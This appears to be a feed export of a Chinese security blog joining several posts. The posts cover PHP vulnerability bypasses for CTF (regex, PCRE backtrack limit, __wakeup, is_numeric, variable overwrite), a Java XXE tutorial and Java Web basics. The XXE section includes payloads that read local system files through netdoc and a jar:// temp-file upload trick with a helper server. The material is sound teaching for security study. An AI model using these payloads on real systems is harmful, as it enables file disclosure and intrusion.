在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

1
2
3
4
5
6
7
8
9
<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo('key...');
}

?>

2)PCRE 回溯次数限制绕过

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

1
2
3
4
5
6
7
8
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
// fwrite($f, $input); ...
}

可填入垃圾数据导致回溯次数超过了100万 preg_match 返回 FALSE 绕过判断

1
2
//bool(false)
var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('c', 1000000)));

修复方法,改用 === 判断返回值,不要只使用 if 判断

1
2
3
4
5
6
7
8
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(is_php($input) === 0) {
// fwrite($f, $input); ...
}

5 序列化

https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

5.1 __wakeup() 绕过

https://www.mi1k7ea.com/2019/06/21/PHP%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%B0%8F%E7%BB%93/#0x04

wakeup()作为反序列化中的一个魔法函数,自unserialize()从字节流中创建了一个对象后,程序会马上检测是否具有wakeup()函数存在。若存在,__wakeup()函数会立即被调用。

使用__wakeup()函数的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

在如下情形中,在序列化字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,因此将1改成2会产生报错,导致不会去执行__wakeup()函数,从而Bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Mi1k7ea
{
public $text = "h12r0h1f0jfj";
public function __wakeup()
{
exit("[!]Bad Request.");
}
}

// echo serialize(new Mi1k7ea());
// O:7:"Mi1k7ea":1:{s:4:"text";s:12:"h12r0h1f0jfj";}

echo unserialize($_GET['flag']);
echo "Bypass __wakeup()!";
?>

5.2 特殊的序列化类型S(大写)

PHP6 新增序列化格式 S,escaped binary string,会将 \xx(16进制) 当做字符处理,所以这里可以造成 check 的绕过,可以参照 2020 强网杯web辅助一题

https://z3ratu1.github.io/2020/08/24/%5B%E5%BC%BA%E7%BD%91%E6%9D%AF2020%5Dweb/

6 ereg()

功能同 preg_match() 类似,只不过仅在 php4,php5 中可使用,可使用 %00 截断正则匹配

1
2
3
//?password=123%00&&** 
//int 1
var_dump(ereg ("^[a-zA-Z0-9]+$", $_GET['password']));

7 is_numeric()

is_numeric()函数来判断变量是否为数字,是数字返回1,不是则返回0。比较范围不局限于十进制数字。

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>

?password=1337a

8 变量覆盖

https://www.mi1k7ea.com/2019/06/20/PHP变量覆盖漏洞/

变量覆盖即通过外部输入将某个变量的值给覆盖掉,通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。

8.1 register_globals

php.ini中有一项为register_globals,即注册全局变量,当register_globals=On时,传递过来的值会被直接的注册为全局变量直接使用,而register_globals=Off时,我们需要到特定的数组里去得到它。

注意:register_globals已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞:

1
2
3
4
5
6
7
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($a) {
echo "Hacked!";
}
?>

?a=1,可以通过 get 、post 也可以通过 cookie 等方式传递

8.2 extract()

extract()函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。必须使用关联数组,数字索引的数组将不会产生结果,除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID

函数定义

1
extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
  • $flags:默认为 EXTR_OVERWRITE,如果有冲突,覆盖已有的变量。EXTR_SKIP 如果有冲突,不覆盖已有的变量。
1
2
3
4
5
6
7
8
9
<?php
$a = "0";
extract($_GET);
if ($a == 1) {
echo "Hacked!";
} else {
echo "Hello!";
}
?>

防御方法:在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖,extract($_GET,EXTR_SKIP);

8.3 parse_str()

parse_str()函数通常用于解析URL中的querystring,把查询字符串解析到变量中。

函数定义

1
parse_str ( string $encoded_string [, array &$result ] ) : void
  • $result:设置了这个参数,变量将会以数组元素的形式存入到这个数组,作为替代。如果没有设置,则由该函数设置的变量将覆盖已存在的同名变量。

注意:在 PHP 7.2 中将废弃不设置参数的行为

1
2
3
4
5
6
7
8
9
10
11
//?a=mi1k7ea
<?php
$a = 'oop';
parse_str($_SERVER["QUERY_STRING"]);

if ($a == 'mi1k7ea') {
echo "Hacked!";
} else {
echo "Hello!";
}
?>

8.4 mb_parse_str()

mb_parse_str()函数用于解析GET/POST/COOKIE数据并设置全局变量,和parse_str()类似:

1
2
3
4
5
6
7
8
9
10
<?php
$a = 'oop';
mb_parse_str($_SERVER["QUERY_STRING"]);

if ($a == 'mi1k7ea') {
echo "Hacked!";
} else {
echo "Hello!";
}
?>

8.5 import_request_variables()

(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)

import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中

函数定义

1
import_request_variables ( string $types [, string $prefix ] ) : bool
  • types:可以用字母‘G’、‘P’和‘C’分别表示 GET、POST 和 Cookie。这些字母不区分大小写,所以你可以使用‘g’、‘p’和‘c’的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用“gp”时,POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。
1
2
3
4
5
6
7
8
9
10
11
//?a=1
<?php
$a = "0";
import_request_variables("G");

if ($a == 1) {
echo "Fucked!";
} else {
echo "Nothing!";
}
?>

8.6 $$导致的变量覆盖

$$这种写法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名

1
2
3
4
5
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}"; //hello world
echo "$a $hello"; //hello world

${$a} 就代表 $hello

变量覆盖常在 foreach 语句中出现

1
2
3
4
5
6
<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
die("BugsBunnyCTF is here :p…");
}
if ( !isset($_POST["flag"]) ){
die($_403);
}
foreach ($_GET as $key => $value){
$$key = $$value;
}
foreach ($_POST as $key => $value){
$$key = $value;
}
if ( $_POST["flag"] !== $flag ){
die($_403);
} else {
echo "This is your flag : ". $flag . "\n";
die($_200);
}
?>

?_200-=flag ,post 数据 flag=1 ,这里注意两个 foreach 语句的不同,第一个为 $$value,第二个为 $value?_200-=flag 先将 flag 变量的值覆盖到 _200 变量,然后flag=1 将 flag 变量值覆盖掉,使 post 的 flag 和 flag 变量的值相等。

8.7 变量覆盖防御

  1. 尽量使用原始变量数组
  2. 注册变量前判断变量是否存在,比如 extract()EXTR_SKIP 模式

9 文件包含

在 php.ini 中,allow_url_fopen 默认一直是On,而 allow_url_include 从 php5.2 之后就默认为 Off

PHP文件包含漏洞利用思路与Bypass总结手册(一)

PHP文件包含漏洞利用思路与Bypass总结手册(二)

PHP文件包含漏洞利用思路与Bypass总结手册(三)

PHP文件包含漏洞利用思路与Bypass总结手册(完结)

9.1 绕过 require_once 单次包含限制

仅 Linux 环境下,/proc/self/root/ 是指向 / 的符号链接,/proc/self/root/ 多级符号链接(41次+)可绕过限制

https://www.anquanke.com/post/id/213235

参考

]]>
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本文主要针对 PHP 函数相关的漏洞的总结,可能会偏向 CTF 方面,内容肯定不全,有空的话会持续更新,欢迎各位表哥补充以及对文章错误之处进行斧正!</p>
Java XXE 漏洞 https://jlkl.github.io/2020/08/24/Java_03/ 2020-08-24T11:47:41.000Z 2020-08-24T11:59:19.000Z 1 XML 基础

XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

1.1 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!--XML申明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.2 DTD

DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

DTD引用方式

1)DTD 内部声明

1
<!DOCTYPE 根元素 [元素声明]>

2)DTD 外部引用

1
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3)引用公共DTD

1
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

DTD 关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
  • ELEMENT(定义元素声明)

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

1.3 实体分类

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体/普通实体 (General entities)
  • 参数实体 (Parameter entities)

完整的实体类别可参考 DTD - Entities

1.3.1 内置实体 (Built-in entities)

  • &符号: &amp;
  • 单引号: &apos;
  • >: &gt;
  • <: &lt;
  • 双引号: &quot;

1.3.2 字符实体 (Character entities)

通常是 html 的实体编码,例如:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?>
<!DOCTYPE author[
<!ELEMENT author (#PCDATA)>
<!ENTITY copyright "&#169;">
]>
<author>&writer;&copyright;</author>

&#169©

1.3.3 普通实体 (General entities)

简单理解即引用替换,语法:

1
<!ENTITY ename "text">

Example:

1
2
3
4
5
6
7
8
9
<?xml version = "1.0"?>

<!DOCTYPE note [
<!ENTITY source-text "tutorialspoint">
]>

<note>
&source-text;
</note>

1.3.4 参数实体 (Parameter entities)

参数实体的目的是创建动态替换的文本节

语法:

1
<!ENTITY % ename "entity_value">
  • entity_value 可以是除 &, %" 外所有字符

test323.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person SYSTEM "test323.dtd">
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

test323.dtd

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % name "(#PCDATA)">
<!ELEMENT addr %name;>
<!ELEMENT tel %name;>
<!ELEMENT br EMPTY>
<!ELEMENT email %name;>

参数实体必须先定义再使用,而不能像一般实体那样随意放置。

1.4 内部实体和外部实体

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的声明方式。

内部实体:

1
<!ENTITY entity_name "entity_value">

外部实体:

1
<!ENTITY name SYSTEM "URI/URL">

1.5 通用实体和参数实体

其实按照使用来分类,又可以将实体分为通用实体和参数实体。

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

参数实体

  1. 使用 % 实体名 (这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  3. 和通用实体一样,参数实体也可以外部引用

1.5.1 内部通用实体

语法:

1
<!ENTITY entity-name "entity-value">

Example:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
]>
<author>&writer;&copyright;</author>

1.5.2 外部通用实体

语法:

1
<!ENTITY entity-name SYSTEM "URI/URL">

Example:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
]>
<author>&writer;&copyright;</author>

1.5.3 内部参数实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [
<!ENTITY % name "(#PCDATA)">
<!ELEMENT addr %name;>
<!ELEMENT tel %name;>
<!ELEMENT br EMPTY>
<!ELEMENT email %name;>
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

1.5.4 外部参数实体

test323.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd">
%content;
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

test323.dtd

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>

2 Java XML 解析

Java XML 解析 主要相关的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

解析实例和防御方法可以查看:

http://www.lmxspace.com/2019/10/31/Java-XXE-总结/

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java

3 Java XXE 利用

各平台支持的协议如下

image-20200824193246228

  1. 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
  2. libxml 是 PHP 的 xml 支持

Java中的XXE支持 sun.net.www.protocol 里面的所有协议:http,https,file,ftp,mailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可利用file协议结合http协议或ftp协议来读取文件。

Java XXE 的利用和 php 的查不多,总结一般的利用方式如下:

  • file 协议读文件
  • 内网主机探测
  • 内网端口探测
  • DoS拒绝服务攻击

详细可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解 XXE 漏洞/

区别于 PHP 的利用方式如下

3.1 jar:// 文件上传

jar 协议语法,jar:{url}!/{entry},url是文件的路径,entry是想要解压出来的文件

jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

那么延长服务器传递文件的时间,就可以延长临时文件存在的时间

server.py,这里在传输最后一个字符的时候会 sleep 30s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys 
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))

self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])

except Exception as e:
print ("get error at:"+str(e))


if __name__ == '__main__':

jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()

运行服务器,让其监听

image-20200824182026676

然后 xxe 结合 jar 协议

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY remote SYSTEM "jar:http://localhost:9999/1.zip!/wm.php">
]>
<convert>&remote;</convert>

因为 1.zip 中并不存在 wm.php 这个文件,所以可以在报错中看到临时文件的位置

image-20200824182309774

这里实际测试并不一定只能上传 zip 格式的文件,但因为 jar 协议会对文件进行解包操作,如果不上传 zip 格式文件在报错里是看不到临时文件路径的,所以需要先正常上传一次 zip 格式文件获取路径然后再上传其他文件。

image-20200824182434415

3.2 netdoc 协议

Java 中 netdoc 协议可以替代 file 协议功能,读文件:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
]>
<creds>&xxe;</creds>

同时也可以列目录:

image-20200824191608338

参考链接

]]>
<h2 id="1-XML-基础"><a href="#1-XML-基础" class="headerlink" title="1 XML 基础"></a>1 XML 基础</h2><p>XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据</p> <h3 id="1-1-XML文档结构"><a href="#1-1-XML文档结构" class="headerlink" title="1.1 XML文档结构"></a>1.1 XML文档结构</h3><p>XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。</p>
Java Web 基础 https://jlkl.github.io/2020/08/23/Java_02/ 2020-08-23T07:23:13.000Z 2020-08-23T07:29:49.000Z 1 Java Web 目录结构

image-20200816173234356

目录描述
/test1_war_explodedWeb应用根目录,存储 jsp 或 html 文件
/test1_war_exploded/WEB-INF存放配置文件,不能直接访问
/test1_war_exploded/WEB-INF/classes存放编译后的 class 文件
/test1_war_exploded/WEB-INF/lib存放所需 jar 文件,如 JDBC 驱动的 jar 文件

web.xml:servlet 、servlet mapping 以及其他配置

编译 servlet 命令:

1
javac  -sourcepath src -classpath D:\soft\server\apache-tomcat-9.0.37\lib\servlet-api.jar -d WEB-INF\classes src\mypack\DispatcherServlet.java

2 Servlet

Servlet API 主要由两个 Java 包组成:javax.servletjavax.servlet.http 。在 javax.servlet 中定义了 Servlet 接口以及相关通用接口和类。在 javax.servlet.http 主要定义了与 HTTP 协议相关的 HttpServlet 类、HttpServletRequest 接口和 HttpServletResponse 接口。

javax.servlet.Servlet 接口主要定义了servlet基础生命周期方法:init(初始化)getServletConfig(配置)service(服务)destroy(销毁)

javax.servlet.http.HttpServlet类继承于javax.servlet.GenericServlet,而GenericServlet又实现了javax.servlet.Servletjavax.servlet.ServletConfig。而HttpServlet不仅实现了servlet的生命周期并通过封装service方法抽象出了doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace方法用于处理来自客户端的不一样的请求方式,我们的Servlet只需要重写其中的请求方法或者重写service方法即可实现servlet请求处理。

TestServlet示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.anbai.sec.servlet;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
* Creator: yz
* Date: 2019/12/14
*/
// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中TestServlet相关配置
//@WebServlet(name = "TestServlet", urlPatterns = {"/TestServlet"})
public class TestServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
PrintWriter out = response.getWriter();
out.println("Hello World~");
out.flush();
out.close();
}

}

2.1 配置 Servlet 的两种方式

(1)web.xml

1
2
3
4
5
6
7
8
9
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>mypack.DispatcherServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/dispatcher</url-pattern>
</servlet-mapping>

(2)使用 Annotation 标注

在 Servlet3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了,在任意的Java类添加javax.servlet.annotation.WebServlet注解即可。

1
2
3
4
5
……
import javax.servlet.annotation.*;

@WebServlet(name="FontServlet1", urlPatterns={"/font1"}, initParams={@WebInitParam(name="color",value="blue"),@WebInitParam(name="size",value="15")})
public class FontServlet1 extends HttpServlet{……}

image-20200818112122387

2.2 Request & Response

HttpServletRequest 常用方法

方法说明
getParameter(String name)获取请求中的参数,该参数是由name指定的
getParameterValues(String name)返回请求中的参数值,该参数值是由name指定的
getRealPath(String path)获取Web资源目录
getAttribute(String name)返回name指定的属性值
getAttributeNames()返回当前请求的所有属性的名字集合
getCookies()返回客户端发送的Cookie
getSession()获取session回话对象
getInputStream()获取请求主题的输入流
getReader()获取请求主体的数据流
getMethod()获取发送请求的方式,如GET、POST
getParameterNames()获取请求中所有参数的名称
getRemoteAddr()获取客户端的IP地址
getRemoteHost()获取客户端名称
getServerPath()获取请求的文件的路径

HttpServletResponse 常用方法

方法说明
getWriter()获取响应打印流对象
getOutputStream()获取响应流对象
addCookie(Cookie cookie)将指定的Cookie加入到当前的响应中
addHeader(String name,String value)将指定的名字和值加入到响应的头信息中
sendError(int sc)使用指定状态码发送一个错误到客户端
sendRedirect(String location)发送一个临时的响应到客户端
setDateHeader(String name,long date)将给出的名字和日期设置响应的头部
setHeader(String name,String value)将给出的名字和值设置响应的头部
setStatus(int sc)给当前响应设置状态码
setContentType(String ContentType)设置响应的MIME类型

3 JSP 基础

3.1 JSP 指令

JSP 指令用来设置和整个网页相关的属性,如编码方式和脚本语言等

一般语法:

1
<%@ 指令名 属性="值"%>
  1. page 指令

指定所用的编程语言,与 JSP 对应的 servlet 接口,所拓展的类以及导入的软件包等

常用属性:https://www.cnblogs.com/sharpest/p/10068832.html

  1. include 指令<%@ include file="filename" %> 包含其他文件(静态包含)

  2. <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 引入标签库的定义

3.2 JSP 声明

用于声明成员变量和方法

语法:<%! declaration;[declaration;]……%>

example:

1
2
3
4
5
6
7
8
9
<%! int v1=0;%>
<%! String v5="hello";
static int v6;
%>
<%!
public String amethod(int i){
return i+1;
}
%>

3.3 Java 程序片段(Scriptlet)

在 JSP 文件中,可以在 <%%> 标记间嵌入任何有效的 Java 程序代码。

3.4 JSP 表达式(EL)

传统 Java 表达式:<%=%> 之间

https://www.jb51.net/article/105314.htm

3.5 JSP 九大隐含对象

变量名类型作用
pageContextPageContext当前页面共享数据,还可以获取其他8个内置对象
requestHttpServletRequest客户端请求对象,包含了所有客户端请求信息
sessionHttpSession请求会话
applicationServletContext全局对象,所有用户间共享数据
responseHttpServletResponse响应对象,主要用于服务器端设置响应信息
pageObject当前Servlet对象,this
outJspWriter输出对象,数据输出到页面上
configServletConfigServlet的配置对象
exceptionThrowable异常对象

3.6 JSP 标准标签库(JSTL)

JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能。

JSTL支持通用的、结构化的任务,比如迭代,条件判断,XML文档操作,国际化标签,SQL标签。 除了这些,它还提供了一个框架来使用集成JSTL的自定义标签。

https://www.runoob.com/jsp/jsp-jstl.html

4 JDBC

JDBC连接数据库的一般步骤:

  1. 注册驱动,Class.forName("数据库驱动的类名")
  2. 获取连接,DriverManager.getConnection(xxx)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!--首先导入一些必要的packages-->
<%@ page import="java.io.*"%>
<%@ page import="java.util.*"%>
<!--告诉编译器使用SQL包-->
<%@ page import="java.sql.*"%>
<!--设置中文输出-->
<%@ page contentType="text/html; charset=GB2312" %>

<html>
<head>
<title>dbaccess.jsp</title>
</head>
<body>
<%
try{
Connection con;
Statement stmt;
ResultSet rs;
//加载驱动程序,下面的代码加载MySQL驱动程序
Class.forName("com.mysql.jdbc.Driver");
//注册MySQL驱动程序
DriverManager.registerDriver(new com.mysql.jdbc.Driver());
//用适当的驱动程序连接到数据库
String dbUrl = "jdbc:mysql://localhost:3306/BookDB?useUnicode=true&characterEncoding=GB2312&useSSL=false";
String dbUser="root";
String dbPwd="root";
//建立数据库连接
con = java.sql.DriverManager.getConnection(dbUrl,dbUser,dbPwd);
//创建一个SQL声明
stmt = con.createStatement();
//增加新记录
stmt.executeUpdate("insert into BOOKS (ID,NAME,TITLE,PRICE) values('999','Tom','Tomcat Bible',44.5)");

//查询记录
rs = stmt.executeQuery("select ID,NAME,TITLE,PRICE from BOOKS");
//输出查询结果
out.println("<table border=1 width=400>");
while (rs.next()){
String col1 = rs.getString(1);
String col2 = rs.getString(2);
String col3 = rs.getString(3);
float col4 = rs.getFloat(4);
//打印所显示的数据
out.println("<tr><td>"+col1+"</td><td>"+col2+"</td><td>"+col3+"</td><td>"+col4+"</td></tr>");
}
out.println("</table>");

//删除新增加的记录
stmt.executeUpdate("delete from BOOKS where ID='999'");

//关闭数据库连接
rs.close();
stmt.close();
con.close();

//注销 JDBC Driver
Enumeration<Driver> drivers = DriverManager.getDrivers();
while(drivers.hasMoreElements()) {
DriverManager.deregisterDriver(drivers.nextElement());
}
}catch(Exception e){out.println(e.getMessage());}

%>
</body>
</html>

4.1 数据源(DataSource)

在真实的Java项目中通常不会使用原生的JDBCDriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。

META-INF 目录下创建一个 content.xml 文件,在里面定义数据源

1
2
3
4
5
6
7
<Context  reloadable="true" >
<Resource name="jdbc/BookDB" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000"
username="root" password="root"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/BookDB?autoReconnect=true&amp;useUnicode=true&amp;characterEncoding=GB2312&amp;useSSL=false"/>
</Context>

web.xml 中加入 <resource-ref> 元素

1
2
3
4
5
6
<resource-ref>
<description>DB Connection</description>
<res-ref-name>jdbc/BookDB</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>

获取 jdbc/BookDB 数据源引用,并获取连接对象

1
2
3
4
5
Connection con;

Context ctx = new InitialContext();
DataSource ds =(DataSource)ctx.lookup("java:comp/env/jdbc/BookDB");
con = ds.getConnection();

example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<!--首先导入一些必要的包-->
<%@ page import="java.io.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="javax.naming.*"%>
<!--设置中文输出-->
<%@ page contentType="text/html; charset=GB2312" %>
<html>
<head>
<TITLE>dbaccess1.jsp</TITLE>
</head>
<body>
<%
try{
Connection con;
Statement stmt;
ResultSet rs;

//建立数据库连接
Context ctx = new InitialContext();
DataSource ds =(DataSource)ctx.lookup("java:comp/env/jdbc/BookDB");
con = ds.getConnection();

//创建一个SQL声明
stmt = con.createStatement();
//增加新记录
stmt.executeUpdate("insert into BOOKS(ID,NAME,TITLE,PRICE) values ('999','Tom','Tomcat Bible',44.5)");

//查询记录
rs = stmt.executeQuery("select ID,NAME,TITLE,PRICE from BOOKS");
//输出查询结果
out.println("<table border=1 width=400>");
while (rs.next()){
String col1 = rs.getString(1);
String col2 = rs.getString(2);
